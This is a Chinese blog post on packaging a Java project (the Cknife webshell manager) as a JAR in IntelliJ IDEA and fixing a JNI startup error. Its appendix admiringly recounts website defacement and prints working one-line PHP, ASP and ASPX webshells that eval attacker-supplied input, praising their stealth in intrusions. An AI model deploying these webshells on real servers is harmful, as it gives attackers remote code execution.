IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式:

1、打开项目,打开FIile->Project Structure...菜单.如下图:

选中Artifacts,点+号,选择JAR,再选择From modules with dependencies...,如下图:

在打开的界面中选择Main class:如下图示,会自动搜索到main class位置,选中确定即可。

JAR files from libraries有两个选项,extract to the target JAR和copy to the output directory and link via manifest,

extract to the target JAR:将第三方jar包打包到目标中,只生成一个jar包

copy to the output directoru and link via manfes:将第三方包copy的目标jar包目录,有多个jar包

我们首先选择第二项,如下图:

关于Directory for META-INF/MANIFEST.MF默认,不需要修改(网上有很多说要改的),点OK完成配置。

如果不改jar包名, 可以直接点OK完成。

接下来就是生成jar包,打开菜单Build->Build Artifacts...->Build,如下图:

生成结果如下:

运行Cknife-master.jar,成功:

我想大部分人不想这样有多个jar包,会选择生成一个包。我们接着做一下,重新打开FIile->Project Structure...菜单,将上一次的配置删除,点 - 号如图,重新添加:

 

这次选择extract to the target JAR,如下图:

如果出现以下错误,直接将src/META-INF/MANIFEST.MF文件删除,关闭Project Structure(不关闭还是报错,可能是bug)重新添加即可。

配置完成后,再次打开菜单Build->Build Artifacts...->Build,生成jar包如下图:

到此,似乎一切正常,来运行一下。

无法正常运行,这个错误在网上搜索,有说是java或javac版本问题,有说是MANIFEST.MF位置不对,其实解决办法很简单,将第三方jar包META-INF中的认证文件删除即可。如下图:

重新build后运行一切正常。

附:

(1)、Cknife中文名“中国菜刀”,网传菜刀作者是一名退伍军人,生长在一个贫穷的农村,据说初中也没读完,英语更是不咋地,但他却自学掌握了C++/J2ME/PHP/JSP/ASP.NET等数十种计算机语言,当初在台湾闹独立的时候,他在国民党和民进党的网站上留下了“只有一个中国”的黑页,一举成名。

今天的中国菜刀已成为利器,网上下载的主要有易语言版,也有java版的,主要用于:1、方便已被授权的渗透测试人员进行渗透测试;2、方便WAF厂商提升自身WAF的防护能力;3、方便管理员管理自身网站及服务器。

(2)、说起菜刀,不得不说一下一句话木马:

PHP一句话木马:<?php @eval($_POST['key']);?>
ASP一句话木马:<%eval request['key']%>
ASPX一句话木马:<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

 

评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值